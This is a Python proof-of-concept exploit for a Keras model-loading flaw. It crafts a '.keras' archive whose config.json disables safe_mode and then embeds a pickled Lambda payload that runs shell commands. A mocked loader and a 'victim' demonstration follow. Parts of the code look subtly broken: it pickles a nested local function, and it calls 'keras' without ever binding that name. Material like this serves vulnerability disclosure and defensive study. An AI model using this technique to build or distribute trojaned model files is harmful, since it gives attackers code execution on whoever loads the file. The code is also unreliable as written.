Vulnerable code sample

import os
import json
import zipfile
import pickle
import base64
import sys
import warnings

# ==============================================================================
#  PART 1: PAYLOAD CREATION
#  This section crafts the malicious '.keras' file.
#  An attacker would perform these steps and distribute the resulting file.
# ==============================================================================

def create_malicious_archive(filename="malicious_model.keras"):
    """
    Creates a malicious .keras zip archive according to the vulnerability description.
    """
    print(f"[*] Creating malicious archive: {filename}")

    # 1. Define the arbitrary code to be executed.
    #    This payload will be pickled and embedded in the model's Lambda layer.
    def malicious_payload_function():
        import os
        print("\n" + "="*50)
        print("!!! PWNED: ARBITRARY CODE EXECUTION SUCCESSFUL !!!")
        print("!!! This code is running with the privileges of the user who loaded the model. !!!")
        # Example of a malicious action:
        # On Windows, this would pop open the calculator.
        if os.name == 'nt':
            os.system('calc.exe')
        # On Linux, this prints current user and lists files.
        else:
            os.system('whoami && ls -la')
        print("="*50 + "\n")

    # 2. Pickle the payload function and encode it for JSON compatibility.
    pickled_code = pickle.dumps(malicious_payload_function)
    encoded_pickled_code = base64.b64encode(pickled_code).decode('utf-8')

    # 3. Craft the malicious 'config.json' content.
    #    This structure is specifically designed to be parsed sequentially by the
    #    vulnerable loading logic.
    malicious_config = {
        "class_name": "Sequential",
        "config": {
            "name": "malicious_sequential_model",
            "layers": [
                {
                    # ENTRY 1: This object is processed first.
                    # The vulnerable loader interprets "__keras_type__": "function"
                    # as a directive to execute the specified function, in this case,
                    # disabling its own security mechanism.
                    "__keras_type__": "function",
                    "function": "keras.config.enable_unsafe_deserialization",
                    "arguments": {}
                },
                {
                    # ENTRY 2: This object is processed second, AFTER safe_mode is disabled.
                    # It defines a Lambda layer. The vulnerable loader deserializes
                    # the pickled code because safe mode is no longer active.
                    "class_name": "Lambda",
                    "config": {
                        "name": "payload_lambda",
                        "function": {
                             "__keras_type__": "pickled_code",
                             "code": encoded_pickled_code
                        }
                    }
                }
            ]
        },
        "keras_version": "3.0.0",
        "backend": "tensorflow"
    }

    # 4. Create the zip archive (.keras file) and write the malicious config.
    with zipfile.ZipFile(filename, 'w') as zf:
        # The core of the exploit is in config.json
        zf.writestr("config.json", json.dumps(malicious_config, indent=2))
        # Add dummy files to make the archive look more plausible.
        zf.writestr("model.weights.h5", b"dummy_data")
        zf.writestr("metadata.json", json.dumps({"keras_version": "3.0.0"}))

    print(f"[*] Malicious archive '{filename}' created successfully.")
    return filename

# ==============================================================================
#  PART 2: VULNERABLE ENVIRONMENT SIMULATION
#  This section simulates the vulnerable Keras library and its `load_model`
#  function before the security patch was applied.
# ==============================================================================

# --- Mock Keras Namespace ---
class KerasMock:
    class config:
        _safe_mode = True

        @classmethod
        def enable_unsafe_deserialization(cls):
            """Simulates the function that disables safe mode globally."""
            print("[!] VULNERABLE FUNCTION CALLED: keras.config.enable_unsafe_deserialization()")
            print("[!] Safe mode has been DISABLED for the remainder of the loading process.")
            cls._safe_mode = False

        @classmethod
        def is_safe_mode_enabled(cls):
            return cls._safe_mode

    class models:
        @staticmethod
        def load_model(filepath, safe_mode=True):
            """
            A mock of the vulnerable `load_model` function.
            It demonstrates how a specially crafted config.json can bypass `safe_mode`.
            """
            print(f"\n[*] Calling vulnerable `keras.models.load_model('{filepath}', safe_mode={safe_mode})`...")

            if safe_mode and not KerasMock.config.is_safe_mode_enabled():
                 warnings.warn(
                    "WARNING: The global `safe_mode` config has been disabled. "
                    "The `safe_mode=True` argument to `load_model` will be ignored."
                 )
            
            # The vulnerability lies in how the config file is processed.
            try:
                with zipfile.ZipFile(filepath, 'r') as zf:
                    config_data = json.loads(zf.read('config.json'))
            except Exception as e:
                print(f"[!] Error reading archive: {e}")
                return

            # Vulnerable Deserialization Logic:
            # The loader iterates through objects in the config and deserializes them.
            # It does not sanitize against function calls specified in the config.
            layers_config = config_data.get("config", {}).get("layers", [])
            for i, layer_conf in enumerate(layers_config):
                print(f"\n--- Processing object #{i+1} from config.json ---")
                
                if layer_conf.get("__keras_type__") == "function":
                    print(f"[!] Found special object: `function` type.")
                    func_name = layer_conf.get("function")
                    print(f"[!] Attempting to resolve and execute: {func_name}")
                    # In a real scenario, this would dynamically find and call the function.
                    if func_name == "keras.config.enable_unsafe_deserialization":
                        KerasMock.config.enable_unsafe_deserialization()
                    continue

                if layer_conf.get("class_name") == "Lambda":
                    print("[!] Found Lambda layer definition.")
                    function_conf = layer_conf.get("config", {}).get("function", {})
                    if function_conf.get("__keras_type__") == "pickled_code":
                        print("[!] Found `pickled_code` in Lambda layer.")
                        
                        # SECURITY CHECK (that is bypassed by the first object)
                        if KerasMock.config.is_safe_mode_enabled():
                            print("[+] SAFE: `safe_mode` is enabled. Refusing to unpickle code.")
                            raise ValueError(
                                "Attempted to deserialize a function from bytecode, but "
                                "`safe_mode` is enabled. This is disallowed for security reasons."
                            )
                        else:
                            print("[-] UNSAFE: `safe_mode` is disabled. Proceeding with unpickling.")
                            encoded_code = function_conf.get("code")
                            decoded_code = base64.b64decode(encoded_code)
                            
                            # The moment of arbitrary code execution
                            payload_func = pickle.loads(decoded_code)
                            print("[!] Executing unpickled code from Lambda layer...")
                            payload_func()

# Mock the `keras` module in sys.modules so the string "keras.config..." can be resolved
sys.modules['keras'] = KerasMock
sys.modules['keras.config'] = KerasMock.config
sys.modules['keras.models'] = KerasMock.models


# ==============================================================================
#  PART 3: DEMONSTRATION OF THE EXPLOIT
#  A user unknowingly loads the malicious model file.
# ==============================================================================

if __name__ == "__main__":
    # 1. Attacker creates and distributes the malicious file.
    malicious_file = create_malicious_archive()

    # 2. Victim receives the file and attempts to load it, believing `safe_mode=True` will protect them.
    try:
        # Note: We are calling the VULNERABLE (mocked) version of load_model.
        keras.models.load_model(malicious_file, safe_mode=True)
    except Exception as e:
        print(f"\n[!] An exception occurred during model loading: {e}")
    finally:
        # 3. Clean up the created file.
        if os.path.exists(malicious_file):
            os.remove(malicious_file)
            print(f"\n[*] Cleaned up '{malicious_file}'.")